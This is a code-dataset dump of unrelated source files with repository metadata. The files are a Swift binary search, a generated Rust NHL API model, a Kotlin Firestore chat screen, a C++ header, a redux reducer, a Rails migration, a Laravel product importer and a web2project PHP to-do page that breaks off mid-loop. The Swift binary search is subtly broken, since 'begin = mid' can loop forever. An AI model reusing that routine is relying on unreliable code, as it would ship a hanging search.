] | null | null | null | Algorithm/Algorithm/Sort/BinarySearch.swift | hulinSun/al | 06f47309780aa72a184f2173bb2efad980bd9165 | [
"Apache-2.0"
] | null | null | null | //
// BinarySearch.swift
// Algorithm
//
// Created by 孙虎林 on 2020/12/4.
//
import Foundation
/// 二分查找
class BinarySearch {
/// 二分查找
/// - Parameters:
/// - value: 查找的值
/// - array: 数组
/// - Returns: 索引,查不到返回 -1
public class func indexOf(value: Int, array:[Int]) -> Int {
var begin = 0
var end = array.count
while begin != end {
let mid = begin + (end - begin) / 2 // 减少溢出
if value < array[mid] {
end = mid
} else if value > array[mid] {
begin = mid
} else {
return mid
}
}
return -1
}
public class func test() {
let array = [1,2,3,4,5,6,7,8,9]
let idx = indexOf(value: 9, array: array)
print(idx)
}
}
| 20.725 | 63 | 0.44994 |
36fc5a3fae84480f1f498112340cff01f93cb125 | 1,672 | rs | Rust | src/models/game_play_about.rs | tarkah/rust-nhl-stats-api | 2ca5165af8b3513b5574895f4397b2f7e7a8a1be | [
"MIT"
] | 4 | 2019-08-08T02:12:04.000Z | 2020-12-01T07:30:44.000Z | src/models/game_play_about.rs | tarkah/rust-nhl-stats-api | 2ca5165af8b3513b5574895f4397b2f7e7a8a1be | [
"MIT"
] | null | null | null | src/models/game_play_about.rs | tarkah/rust-nhl-stats-api | 2ca5165af8b3513b5574895f4397b2f7e7a8a1be | [
"MIT"
] | 1 | 2022-01-12T02:19:21.000Z | 2022-01-12T02:19:21.000Z | /*
* NHL API
*
* Documenting the publicly accessible portions of the NHL API.
*
* The version of the OpenAPI document: 1.0.0
*
* Generated by: https://openapi-generator.tech
*/
#[derive(Debug, PartialEq, Serialize, Deserialize)]
pub struct GamePlayAbout {
#[serde(rename = "eventIdx", skip_serializing_if = "Option::is_none")]
pub event_idx: Option<f32>,
#[serde(rename = "eventId", skip_serializing_if = "Option::is_none")]
pub event_id: Option<f32>,
#[serde(rename = "period", skip_serializing_if = "Option::is_none")]
pub period: Option<f32>,
#[serde(rename = "periodType", skip_serializing_if = "Option::is_none")]
pub period_type: Option<String>,
#[serde(rename = "ordinalNum", skip_serializing_if = "Option::is_none")]
pub ordinal_num: Option<String>,
#[serde(rename = "periodTime", skip_serializing_if = "Option::is_none")]
pub period_time: Option<String>,
#[serde(rename = "periodTimeRemaining", skip_serializing_if = "Option::is_none")]
pub period_time_remaining: Option<String>,
#[serde(rename = "dateTime", skip_serializing_if = "Option::is_none")]
pub date_time: Option<String>,
#[serde(rename = "goals", skip_serializing_if = "Option::is_none")]
pub goals: Option<crate::models::GamePlayAboutGoals>,
}
impl GamePlayAbout {
pub fn new() -> GamePlayAbout {
GamePlayAbout {
event_idx: None,
event_id: None,
period: None,
period_type: None,
ordinal_num: None,
period_time: None,
period_time_remaining: None,
date_time: None,
goals: None,
}
}
}
| 32.153846 | 85 | 0.643541 |
ea6c8ff7d5fe681df877723b205776c147a420c5 | 1,456 | swift | Swift | Sources/GistPublishPlugin/Models/EmbeddedGist.swift | thomaslupo/GistPublishPlugin | 1cfbb6c9e749166dc8ee5abf57688061891c3aa4 | [
"MIT"
] | 8 | 2021-01-30T01:17:07.000Z | 2022-01-27T10:37:20.000Z | Sources/GistPublishPlugin/Models/EmbeddedGist.swift | thomaslupo/GistPublishPlugin | 1cfbb6c9e749166dc8ee5abf57688061891c3aa4 | [
"MIT"
] | null | null | null | Sources/GistPublishPlugin/Models/EmbeddedGist.swift | thomaslupo/GistPublishPlugin | 1cfbb6c9e749166dc8ee5abf57688061891c3aa4 | [
"MIT"
] | null | null | null | /**
* Gist-plugin for Publish
* Copyright (c) Thomas Lupo 2020
* MIT license, see LICENSE file for details
*/
import Foundation
/// This entity represents a fetched gist from the API
public struct EmbeddedGist: Decodable {
/// Properties
public let htmlUrl: String
public let owner: EmbeddedGistOwner
public let files: [EmbeddedGistFile]
/// `CodingKeys` in order to have a custom init from `Decoder`
private enum CodingKeys: String, CodingKey {
case htmlUrl
case owner
case files
}
/// Custom init to transform a `Dictionary` of files to an `Array` of files
/// Sort the `Array` of files by moving the test files at the end
public init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
htmlUrl = try container.decode(String.self, forKey: .htmlUrl)
owner = try container.decode(EmbeddedGistOwner.self, forKey: .owner)
/// The files are returned in a `Dictionary` so the order of the files array is not fixed
/// Add a sort to put the `*Tests.` file at the end (like here: https://gist.github.com/JohnSundell/bc8bc138529978fc2fb8c90d96b7d801)
let initialFiles = try container.decode([String: EmbeddedGistFile].self, forKey: .files)
files = Array(initialFiles.values).sorted(by: { (file1, file2) -> Bool in
return !file1.filename.matchesTestPattern()
})
}
}
| 36.4 | 141 | 0.680632 |
f8043465a5fea3da9b8fa394037dc881ae2e06e6 | 11,341 | kt | Kotlin | app/src/main/java/com/deepak/chatapp/view/ui/ChatActivity.kt | deepakkumardk/ChatApp | 6cfd96790e9e67e48d9760cee1ae3273a1f90511 | [
"Apache-2.0"
] | 1 | 2019-11-04T04:43:15.000Z | 2019-11-04T04:43:15.000Z | app/src/main/java/com/deepak/chatapp/view/ui/ChatActivity.kt | deepakkumardk/ChatApp | 6cfd96790e9e67e48d9760cee1ae3273a1f90511 | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/deepak/chatapp/view/ui/ChatActivity.kt | deepakkumardk/ChatApp | 6cfd96790e9e67e48d9760cee1ae3273a1f90511 | [
"Apache-2.0"
] | null | null | null | package com.deepak.chatapp.view.ui
import android.content.ClipData
import android.os.Bundle
import android.support.v7.app.AppCompatActivity
import android.support.v7.widget.RecyclerView
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import com.bumptech.glide.Glide
import com.deepak.chatapp.R
import com.deepak.chatapp.service.model.ChatMessage
import com.deepak.chatapp.service.model.User
import com.deepak.chatapp.util.*
import com.firebase.ui.common.ChangeEventType
import com.firebase.ui.firestore.FirestoreRecyclerAdapter
import com.firebase.ui.firestore.FirestoreRecyclerOptions
import com.google.firebase.Timestamp
import com.google.firebase.firestore.*
import kotlinx.android.synthetic.main.activity_chat.*
import kotlinx.android.synthetic.main.item_message_sent.*
import kotlinx.android.synthetic.main.toolbar_chat.*
import org.jetbrains.anko.clipboardManager
import org.jetbrains.anko.find
import org.jetbrains.anko.sdk27.coroutines.onClick
import org.jetbrains.anko.sdk27.coroutines.onLongClick
import org.jetbrains.anko.selector
import org.jetbrains.anko.toast
/**
* The ChatActivity from which the user will chat to the another user
* using the firestore adapter
*/
class ChatActivity : AppCompatActivity() {
private val firestore: FirebaseFirestore
by lazy { FirebaseFirestore.getInstance() }
private lateinit var refSenderChats: CollectionReference
private lateinit var refReceiverChats: CollectionReference
private lateinit var senderUid: String
private lateinit var receiverUid: String
private lateinit var toUserName: String
private lateinit var toUserEmail: String
private lateinit var adapter: FirestoreRecyclerAdapter<ChatMessage, ChatViewHolder>
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_chat)
init()
initToolbar()
loadProfileImage()
val chatOptions = listOf("Copy", "Delete For Me")
//get all the chat messages from the subcollection myChats mapped to the receiverUid user
refSenderChats = firestore.collection("chat").document(senderUid)
.collection("myChats").document(receiverUid)
.collection("allChats")
refReceiverChats = firestore.collection("chat").document(receiverUid)
.collection("myChats").document(senderUid)
.collection("allChats")
setMessagesToRead()
val chatQuery = refSenderChats.orderBy(SENT_AT, Query.Direction.ASCENDING)
val options = FirestoreRecyclerOptions.Builder<ChatMessage>()
.setQuery(chatQuery, ChatMessage::class.java)
.build()
adapter = object : FirestoreRecyclerAdapter<ChatMessage, ChatViewHolder>(options) {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ChatViewHolder {
return if (viewType == R.layout.item_message_sent) {
val view = LayoutInflater.from(parent.context).inflate(R.layout.item_message_sent, parent, false)
ChatViewHolder(view)
} else {
val view = LayoutInflater.from(parent.context).inflate(R.layout.item_message_received, parent, false)
ChatViewHolder(view)
}
}
override fun getItemViewType(position: Int): Int {
return when {
senderUid != getItem(position).senderId -> R.layout.item_message_received
else -> R.layout.item_message_sent
}
}
override fun onBindViewHolder(holder: ChatViewHolder, position: Int, model: ChatMessage) {
holder.itemChatMessage.text = model.message
holder.itemChatTimestamp.text = model.sentAt?.timestampToString()
holder.itemChatMessage.onLongClick {
selector("Message Options", chatOptions) { _, i ->
when (i) {
0 -> copyText("Chat Message", model.message)
1 -> deleteMessage(model.docId)
}
}
}
}
override fun onChildChanged(type: ChangeEventType, snapshot: DocumentSnapshot, newIndex: Int, oldIndex: Int) {
super.onChildChanged(type, snapshot, newIndex, oldIndex)
log(snapshot.get("message").toString())
recycler_view_chat.layoutManager?.scrollToPosition(itemCount - 1)
}
}
recycler_view_chat.init(applicationContext)
recycler_view_chat.adapter = adapter
adapter.notifyDataSetChanged()
fab_send.onClick {
val message = message_edit_text.text.toString()
when {
message.isNotBlank() -> {
message_edit_text.setText("")
Glide.with(this@ChatActivity)
.loadImage(R.drawable.ic_not_sent, is_message_sent)
sendMessage(message)
}
else -> toast("Message is Blank")
}
}
}
private fun init() {
val setting = FirebaseFirestoreSettings.Builder()
.setPersistenceEnabled(true)
.build()
firestore.firestoreSettings = setting
senderUid = intent?.getStringExtra(USER_ID).toString()
receiverUid = intent?.getStringExtra(TO_USER_ID).toString()
toUserName = intent?.getStringExtra(TO_USER_NAME).toString()
toUserEmail = intent?.getStringExtra(TO_USER_EMAIL).toString()
}
private fun initToolbar() {
setSupportActionBar(toolbar_chat)
toolbar_title.text = toUserName
supportActionBar?.title = ""
supportActionBar?.setDisplayShowTitleEnabled(false)
supportActionBar?.setDisplayHomeAsUpEnabled(true)
supportActionBar?.setHomeAsUpIndicator(R.drawable.ic_back)
}
/**
* Load the profile image into the ImageView in the Toolbar
*/
private fun loadProfileImage() {
firestore.collection("users")
.document(receiverUid)
.get(Source.CACHE)
.addOnCompleteListener {
if (it.isSuccessful) {
val userInfo = it.result?.toObject(User::class.java)
user_last_seen.text = userInfo?.isOnline
Glide.with(this@ChatActivity)
.loadImage(userInfo?.imageUrl!!, user_display_image_chat, R.drawable.ic_person)
}
}
}
/**
* send message to the receiver.
* The message map will be sent to the both sender and receiver's chat subCollection
*/
private fun sendMessage(message: String) {
val docId = refSenderChats.document().id
val timestamp = Timestamp.now()
val chatMapSender = mutableMapOf<String, Any>(
MESSAGE to message,
SENDER_ID to senderUid,
RECEIVER_ID to receiverUid,
IS_READ to false,
DOC_ID to docId,
SENT_AT to timestamp)
//send message to sender and add it to the myChats subcollection
refSenderChats.document(docId)
.set(chatMapSender)
.addOnCompleteListener { task ->
when {
task.isSuccessful -> {
Glide.with(this@ChatActivity)
.loadImage(R.drawable.ic_sent, is_message_sent)
log("message sent to user")
}
else -> toast(task.exception?.message.toString())
}
}
//send message to receiver and add it to the myChats subcollection
refReceiverChats.document(docId)
.set(chatMapSender)
.addOnCompleteListener { task ->
when {
task.isSuccessful -> log("message sent to receiver")
else -> toast(task.exception?.message.toString())
}
}
setLastMessageSentAt(timestamp)
}
/**
* LAST_MESSAGE_SENT_AT field in the subCollection myContacts will be used to det. the
* recent chat and so the contact list can be order by this field
*/
private fun setLastMessageSentAt(timestamp: Timestamp) {
val refContacts = firestore.collection("contacts")
.document(senderUid).collection("myContacts")
val map = mutableMapOf<String, Any>(LAST_MESSAGE_SENT_AT to timestamp)
refContacts.document(receiverUid)
.set(map, SetOptions.merge())
.addOnCompleteListener {
when {
it.isSuccessful -> log("set lastMessageSentAt")
else -> log(it.exception?.message!!)
}
}
}
/**
* Delete the message only for the current logged in user
* The message will be deleted using the DOC_ID field
*/
private fun deleteMessage(docId: String) {
refSenderChats.document(docId)
.delete()
.addOnCompleteListener { task ->
when {
task.isSuccessful -> toast("Message deleted Successfully")
else -> toast(task.exception?.message!!)
}
}
}
/**
* As the user opens up the ChatActivity Set messages to read so that in the
* contactsActivity we can count the no. of unread messages and can show it
* and also send the push notification
*/
//TODO look at this you have to update again at both sender and receiver side for IS_READ
private fun setMessagesToRead() {
refReceiverChats.document()
.get(Source.CACHE)
.addOnCompleteListener {
when {
it.isSuccessful -> {
val chat = it.result?.toObject(ChatMessage::class.java)
if (chat?.isRead!!) {
Glide.with(this@ChatActivity)
.loadImage(R.drawable.ic_read, is_message_sent)
}
log("All messages read")
}
else -> log(it.exception?.message!!)
}
}
}
private fun copyText(label: String, text: String) {
clipboardManager.primaryClip = ClipData.newPlainText(label, text)
toast("Text Copied")
}
override fun onStart() {
super.onStart()
adapter.startListening()
}
override fun onStop() {
super.onStop()
adapter.stopListening()
}
internal inner class ChatViewHolder(view: View) : RecyclerView.ViewHolder(view) {
var itemChatMessage = view.find<TextView>(R.id.item_chat_message)
var itemChatTimestamp = view.find<TextView>(R.id.item_chat_message_timestamp)
}
}
| 39.515679 | 122 | 0.596156 |
38dbe7ff19d78c65670432dbce0ccee79e749668 | 2,449 | h | C | XeroSimDisplay/ManagerBase.h | sjcbulldog/xerosim | dc26ba0e318a9c2684eeea6f2cd801ced8ded99d | [
"MIT"
] | null | null | null | XeroSimDisplay/ManagerBase.h | sjcbulldog/xerosim | dc26ba0e318a9c2684eeea6f2cd801ced8ded99d | [
"MIT"
] | null | null | null | XeroSimDisplay/ManagerBase.h | sjcbulldog/xerosim | dc26ba0e318a9c2684eeea6f2cd801ced8ded99d | [
"MIT"
] | null | null | null | //
// Copyright 2019 Jack W. Griffin
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http ://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissionsand
// limitations under the License.
//
#pragma once
#include <Translation2d.h>
#include <QJsonDocument>
#include <QJsonArray>
#include <QFile>
#include <QVersionNumber>
#include <cassert>
class ManagerBase
{
public:
ManagerBase();
virtual ~ManagerBase();
const std::string& getDefaultDir() const {
return default_dir_;
}
virtual void copyDefaults(const std::string& subdir);
virtual bool initialize();
void setDirectory(const std::string& dir) {
dirs_.clear();
dirs_.push_back(dir);
}
void addDirectory(const std::string& dir) {
dirs_.push_back(dir);
}
void addDefaultDirectory(const std::string& dir) {
addDirectory(dir);
default_dir_ = dir;
}
void dumpSearchPath(const char* name);
protected:
virtual bool processPath(const std::string& path);
virtual bool processJSONFile(QFile& file) = 0;
virtual bool checkCount() = 0;
const std::string& getFirstDir() {
assert(dirs_.size() > 0);
return dirs_.front();
}
bool getJsonVersionValue(QFile& file, QJsonDocument& doc, const char* name, QVersionNumber& ver);
bool getJSONStringValue(QFile &file, QJsonDocument& doc, const char* name, std::string& value);
bool getJSONStringValue(QFile& file, QJsonObject& obj, const char* name, std::string& value);
bool getJSONDoubleValue(QFile& file, QJsonDocument& doc, const char* name, double& value);
bool getJSONDoubleValue(QFile& file, QJsonObject& doc, const char* name, double& value);
bool getJSONIntegerValue(QFile& file, QJsonDocument& doc, const char* name, int& value);
bool getJSONPointValue(QFile& file, const QJsonValue& value, const char *name, xero::paths::Translation2d& t2d);
bool getJSONPointValue(QFile& file, QJsonDocument& doc, const char* name, xero::paths::Translation2d& t2d);
private:
std::string default_dir_;
std::list<std::string> dirs_;
};
| 30.6125 | 114 | 0.714577 |
e932f687411241db2ed370d6f178b622cabca822 | 208 | rb | Ruby | db/migrate/20150224000652_add_applicant_status_to_internships.rb | cimav/sapos | 4edd10d16dbacf369945e65e6fef834951cceeda | [
"X11",
"Unlicense",
"MIT"
] | null | null | null | db/migrate/20150224000652_add_applicant_status_to_internships.rb | cimav/sapos | 4edd10d16dbacf369945e65e6fef834951cceeda | [
"X11",
"Unlicense",
"MIT"
] | null | null | null | db/migrate/20150224000652_add_applicant_status_to_internships.rb | cimav/sapos | 4edd10d16dbacf369945e65e6fef834951cceeda | [
"X11",
"Unlicense",
"MIT"
] | null | null | null | class AddApplicantStatusToInternships < ActiveRecord::Migration
def up
add_column :internships, :applicant_status, :integer
end
def down
remove_column :internships, :applicant_status
end
end
| 20.8 | 63 | 0.778846 |
d5c7dbbd6a2ef853ed8fb62813c6eaac40d33692 | 2,932 | kt | Kotlin | plan/src/main/kotlin/com/r3/demos/ubin2a/plan/graph/StronglyConnectedComponentDetection.kt | duhd/ubin-corda | ee7914059638ca12375bf51375c3d19b767d2c1f | [
"Apache-2.0"
] | 108 | 2017-11-14T03:10:47.000Z | 2020-08-26T03:49:37.000Z | plan/src/main/kotlin/com/r3/demos/ubin2a/plan/graph/StronglyConnectedComponentDetection.kt | duhd/ubin-corda | ee7914059638ca12375bf51375c3d19b767d2c1f | [
"Apache-2.0"
] | 3 | 2018-03-12T07:51:49.000Z | 2018-11-12T14:28:49.000Z | plan/src/main/kotlin/com/r3/demos/ubin2a/plan/graph/StronglyConnectedComponentDetection.kt | duhd/ubin-corda | ee7914059638ca12375bf51375c3d19b767d2c1f | [
"Apache-2.0"
] | 53 | 2017-11-14T02:58:15.000Z | 2021-08-13T04:24:04.000Z | package com.r3.demos.ubin2a.plan.graph
import java.util.*
/**
* Use Tarjan's strongly connected components algorithm to find all strongly connected components in a graph.
*/
fun <T> detectStronglyConnectedComponents(graph: DirectedGraph<T>): List<StronglyConnectedComponent<T>> {
return StronglyConnectedComponentDetection(graph).components
}
private class StronglyConnectedComponentDetection<T>(val graph: DirectedGraph<T>) {
private val componentsList = mutableListOf<StronglyConnectedComponent<T>>()
private val exploredEdges = mutableSetOf<Pair<GraphNode<T>, GraphNode<T>>>()
private val stack = Stack<GraphNode<T>>()
private var index = 0
/**
* For each node in the directed graph, find strongly connected components.
*/
val components: List<StronglyConnectedComponent<T>> by lazy {
graph.undefinedNodes().forEach { connect(it) }
componentsList
}
/**
* Recursively find strongly connected component.
*/
private fun connect(node: GraphNode<T>) {
node.index = index
node.lowLink = index
index += 1
stack.push(node)
var processedEdges = false
for (connectedNode in graph.edgesForNode(node.id)) {
// Instead of relying on traversing the nodes in a specific order,
// keep track of what edges have been visited
exploreEdge(node, connectedNode) {
processedEdges = true
if (connectedNode.hasUndefinedIndex()) {
connect(connectedNode)
node.lowLink = minOf(node.lowLink, connectedNode.lowLink)
} else if (stack.contains(connectedNode)) {
// On the stack -> in the current strongly connected component
node.lowLink = minOf(node.lowLink, connectedNode.index)
}
}
}
if (node.lowLink == node.index) {
// At the root node, so add strongly connected component to result
val component = StronglyConnectedComponent(graph, stackNodes(node))
if (component.hasNodes && processedEdges) {
componentsList.add(component)
}
}
}
/**
* Get nodes on stack belonging to the current strongly connected component.
*/
private fun stackNodes(node: GraphNode<T>): List<GraphNode<T>> {
val nodes = mutableListOf<GraphNode<T>>()
do {
val stackNode = stack.pop()
nodes.add(stackNode)
} while (stackNode != node)
return nodes
}
/**
* Execute action if and only if the provided edge has not yet been explored.
*/
private fun exploreEdge(from: GraphNode<T>, to: GraphNode<T>, action: () -> Unit) {
val edge = Pair(from, to)
if (!exploredEdges.contains(edge)) {
exploredEdges.add(edge)
action()
}
}
}
| 35.325301 | 109 | 0.61528 |
e778474815f0856f05578dc44dbbdb839b898c7f | 863 | js | JavaScript | src/reducers/auth.js | mlaga97/dagger-redux | 4ac14e3a52eb4d63d17d69024050d31dee8f211d | [
"MIT"
] | null | null | null | src/reducers/auth.js | mlaga97/dagger-redux | 4ac14e3a52eb4d63d17d69024050d31dee8f211d | [
"MIT"
] | null | null | null | src/reducers/auth.js | mlaga97/dagger-redux | 4ac14e3a52eb4d63d17d69024050d31dee8f211d | [
"MIT"
] | null | null | null | // Get action list
import actions from '../actions';
// Handle some actions
export default function settings(state = null, action) {
switch (action.type) {
case actions.auth.login.succeeded:
// TODO: Change this if login page is moved.
if (window.location.pathname !== '/') {
window.location.pathname = '/';
}
return Object.assign({}, state, {
status: true,
});
case actions.auth.login.failed:
return Object.assign({}, state, {
status: false,
reason: action.data,
});
case actions.auth.logout.succeeded:
window.location.pathname = '/';
return Object.assign({}, state, {
status: false,
});
case actions.auth.status.succeeded:
return Object.assign({}, state, {
status: action.data,
});
default:
return state;
}
}
| 25.382353 | 56 | 0.582851 |
8ff2c810ca3dd0fa371f4c1f9bc3f3660d2c01b3 | 897 | kt | Kotlin | app/src/main/java/com/trident/android/autootpdetection/activities/SimStateActivity.kt | Trident-Solutions/Kotlin-Auto-Detect-OTP | e62bd07b893c5fe0ad1d03eea870bb707826afde | [
"Apache-2.0"
] | 21 | 2019-12-14T12:15:35.000Z | 2022-02-15T18:36:52.000Z | app/src/main/java/com/trident/android/autootpdetection/activities/SimStateActivity.kt | Trident-Solutions/Trident-Solutions-Kotlin-Auto-Detect-OTP | e62bd07b893c5fe0ad1d03eea870bb707826afde | [
"Apache-2.0"
] | 2 | 2021-07-03T12:21:26.000Z | 2021-12-25T18:23:39.000Z | app/src/main/java/com/trident/android/autootpdetection/activities/SimStateActivity.kt | Trident-Solutions/Trident-Solutions-Kotlin-Auto-Detect-OTP | e62bd07b893c5fe0ad1d03eea870bb707826afde | [
"Apache-2.0"
] | 5 | 2020-04-17T08:28:42.000Z | 2022-03-22T04:12:57.000Z | package com.trident.android.autootpdetection.activities
import android.os.Bundle
import android.view.View
import android.view.WindowManager
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import com.trident.android.autootpdetection.R
import kotlinx.android.synthetic.main.activity_connection_lost.*
/**
* @author Trident_Surya Devi
*/
class SimStateActivity :AppCompatActivity(){
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
window.setFlags(
WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
setContentView(R.layout.activity_connection_lost)
txt_try_again.setOnClickListener(View.OnClickListener {
Toast.makeText(this,R.string.connection_lost,Toast.LENGTH_SHORT).show()
finish()
})
}
} | 32.035714 | 83 | 0.753623 |
963e60cc9a30af05515498810f8b4681e025c247 | 3,466 | php | PHP | app/Imports/productsImport.php | Chintak4326/Laravel_Ecom-Website | c146e16a2eff588329f1b5d8e8c3629abe1086a4 | [
"MIT"
] | null | null | null | app/Imports/productsImport.php | Chintak4326/Laravel_Ecom-Website | c146e16a2eff588329f1b5d8e8c3629abe1086a4 | [
"MIT"
] | null | null | null | app/Imports/productsImport.php | Chintak4326/Laravel_Ecom-Website | c146e16a2eff588329f1b5d8e8c3629abe1086a4 | [
"MIT"
] | null | null | null | <?php
namespace App\Imports;
use App\Product;
use App\Category;
use Maatwebsite\Excel\Concerns\ToModel;
use Maatwebsite\Excel\Concerns\WithHeadingRow;
class productsImport implements ToModel,WithHeadingRow
{
/**
* @param array $row
*
* @return \Illuminate\Database\Eloquent\Model|null
*/
public function model(array $data)
{
return new Product([
'category_id'=>$data['category_id'],
'product_name'=>$data['product_name'],
'description'=>$data['description'],
'image'=>"noimage.jpg",
'model_name'=>$data['model_name'],
'model_number'=>$data['model_number'],
'browse_type'=>$data['browse_type'],
'sim_type'=>$data['sim_type'],
'hybrid_sim_slot'=>$data['hybrid_sim_slot'],
'touch_screen'=>$data['touch_screen'],
'otg_compatible'=>$data['otg_compatible'],
'display_size'=>$data['display_size'],
'resolution'=>$data['resolution'],
'resolution_type'=>$data['resolution_type'],
'other_display_features'=>$data['other_display_features'],
'operating_system'=>$data['operating_system'],
'processor_type'=>$data['processor_type'],
'processor_core'=>$data['processor_core'],
'primary_clock_speed'=>$data['primary_clock_speed'],
'secondary_clock_speed'=>$data['secondary_clock_speed'],
'operating_frequency'=>$data['operating_frequency'],
'supported_memory_card_type'=>$data['supported_memory_card_type'],'memory_card_slot_type'=>$data['memory_card_slot_type'],
'primary_camera_available'=>$data['primary_camera_available'],
'primary_camera'=>$data['primary_camera'],
'primary_camera_features'=>$data['primary_camera_features'],'secondary_camera_available'=>$data['secondary_camera_available'],
'secondary_camera'=>$data['secondary_camera'],
'secondary_camera_features'=>$data['secondary_camera_features'],
'flash'=>$data['flash'],
'dual_camera_lens'=>$data['dual_camera_lens'],
'network_type'=>$data['network_type'],
'supported_networks'=>$data['supported_networks'],
'internet_connectivity'=>$data['internet_connectivity'],
'gprs'=>$data['gprs'],
'pre_installed_browser'=>$data['pre_installed_browser'],
'micro_usb_port'=>$data['micro_usb_port'],
'blutooth_support'=>$data['blutooth_support'],
'blutooth_version'=>$data['blutooth_version'],
'wifi'=>$data['wifi'],
'wifi_version'=>$data['wifi_version'],
'usb_connectivity'=>$data['usb_connectivity'],
'audio_jack'=>$data['audio_jack'],
'touchscreen_type'=>$data['touchscreen_type'],
'sim_size'=>$data['sim_size'],
'sensors'=>$data['sensors'],
'other_features'=>$data['other_features'],
'gps_type'=>$data['gps_type'],
'fm_radio'=>$data['fm_radio'],
'audio_format'=>$data['audio_format'],
'video_format'=>$data['video_format'],
'battery_capacity'=>$data['battery_capacity'],
'width'=>$data['width'],
'height'=>$data['height'],
'depth'=>$data['depth'],
'weight'=>$data['weight'],
'warranty'=>$data['warranty'],
]);
}
}
| 43.873418 | 138 | 0.591171 |
d26f89ad2fb465fa137319e88058fae597c35c69 | 5,010 | php | PHP | modules/tasks/todo.php | fairhopeweb/web2project | 9b052ea234ddfc3e24936fc7a5740dd60a8c4be2 | [
"BSD-3-Clause-Clear"
] | 104 | 2015-01-10T17:13:08.000Z | 2021-11-30T02:54:03.000Z | modules/tasks/todo.php | fairhopeweb/web2project | 9b052ea234ddfc3e24936fc7a5740dd60a8c4be2 | [
"BSD-3-Clause-Clear"
] | 51 | 2015-01-09T04:13:27.000Z | 2021-11-29T21:44:47.000Z | modules/tasks/todo.php | fairhopeweb/web2project | 9b052ea234ddfc3e24936fc7a5740dd60a8c4be2 | [
"BSD-3-Clause-Clear"
] | 79 | 2015-01-10T17:13:10.000Z | 2021-11-30T18:58:26.000Z | <?php
if (!defined('W2P_BASE_DIR')) {
die('You should not access this file directly.');
}
// @todo remove database query
global $AppUI, $task_type, $min_view;
$tab = $AppUI->processIntState('ToDoTab', $_GET, 'tab', 0);
if (isset($_POST['task_type'])) {
$AppUI->setState('ToDoTaskType', w2PgetParam($_POST, 'task_type', ''));
}
$task_type = $AppUI->getState('ToDoTaskType') !== null ? $AppUI->getState('ToDoTaskType') : '';
$project_id = (int) w2PgetParam($_GET, 'project_id', 0);
$this_day = new w2p_Utilities_Date();
$date = ((int) w2PgetParam($_GET, 'date', '')) ? $this_day->format(FMT_TIMESTAMP_DATE) : '';
$user_id = $AppUI->user_id;
$no_modify = false;
$other_users = false;
// retrieve any state parameters
if (isset($_POST['show_form'])) {
$AppUI->setState('TaskDayShowArc', w2PgetParam($_POST, 'show_arc_proj', 0));
$AppUI->setState('TaskDayShowLow', w2PgetParam($_POST, 'show_low_task', 0));
$AppUI->setState('TaskDayShowHold', w2PgetParam($_POST, 'show_hold_proj', 0));
$AppUI->setState('TaskDayShowDyn', w2PgetParam($_POST, 'show_dyn_task', 0));
$AppUI->setState('TaskDayShowPin', w2PgetParam($_POST, 'show_pinned', 0));
$AppUI->setState('TaskDayShowEmptyDate', w2PgetParam($_POST, 'show_empty_date', 0));
$AppUI->setState('TaskDayShowInProgress', w2PgetParam($_POST, 'show_inprogress', 0));
}
// Required for today view.
$showArcProjs = $AppUI->getState('TaskDayShowArc', 0);
$showLowTasks = $AppUI->getState('TaskDayShowLow', 1);
$showHoldProjs = $AppUI->getState('TaskDayShowHold', 0);
$showDynTasks = $AppUI->getState('TaskDayShowDyn', 0);
$showPinned = $AppUI->getState('TaskDayShowPin', 0);
$showEmptyDate = $AppUI->getState('TaskDayShowEmptyDate', 0);
$showInProgress = $AppUI->getState('TaskDayShowInProgress', 0);
if (canView('users')) { // let's see if the user has sysadmin access
$other_users = true;
if (($show_uid = w2PgetParam($_REQUEST, 'show_user_todo', 0)) != 0) { // lets see if the user wants to see anothers user mytodo
$user_id = $show_uid;
$no_modify = true;
$AppUI->setState('tasks_todo_user_id', $user_id);
} elseif ($AppUI->getState('tasks_todo_user_id')) {
$user_id = $AppUI->getState('tasks_todo_user_id');
}
}
// check permissions
$canEdit = canEdit($m);
$task_sort_item1 = w2PgetParam($_GET, 'task_sort_item1', '');
$task_sort_type1 = w2PgetParam($_GET, 'task_sort_type1', '');
$task_sort_item2 = w2PgetParam($_GET, 'task_sort_item2', '');
$task_sort_type2 = w2PgetParam($_GET, 'task_sort_type2', '');
$task_sort_order1 = (int) w2PgetParam($_GET, 'task_sort_order1', 0);
$task_sort_order2 = (int) w2PgetParam($_GET, 'task_sort_order2', 0);
// if task priority set and items selected, do some work
$task_priority = w2PgetParam($_POST, 'task_priority', 99);
$selected = w2PgetParam($_POST, 'selected_task', 0);
if (is_array($selected) && count($selected)) {
__extract_from_tasks_todo($selected, $task_priority);
}
$proj = new CProject;
$tobj = new CTask;
$allowedProjects = $proj->getAllowedSQL($AppUI->user_id,'pr.project_id');
$allowedTasks = $tobj->getAllowedSQL($AppUI->user_id, 'ta.task_id');
$tasks = __extract_from_todo($user_id, $showArcProjs, $showLowTasks, $showInProgress, $showHoldProjs, $showDynTasks, $showPinned, $showEmptyDate, $task_type, $allowedTasks, $allowedProjects);
/* we have to calculate the end_date via start_date+duration for
** end='0000-00-00 00:00:00'
*/
for ($j = 0, $j_cmp = count($tasks); $j < $j_cmp; $j++) {
if ($tasks[$j]['task_end_date'] == '0000-00-00 00:00:00' || $tasks[$j]['task_end_date'] == '') {
if ($tasks[$j]['task_start_date'] == '0000-00-00 00:00:00' || $tasks[$j]['task_start_date'] == '') {
$tasks[$j]['task_start_date'] = '0000-00-00 00:00:00'; //just to be sure start date is "zeroed"
$tasks[$j]['task_end_date'] = '0000-00-00 00:00:00';
} else {
$tasks[$j]['task_end_date'] = calcEndByStartAndDuration($tasks[$j]);
}
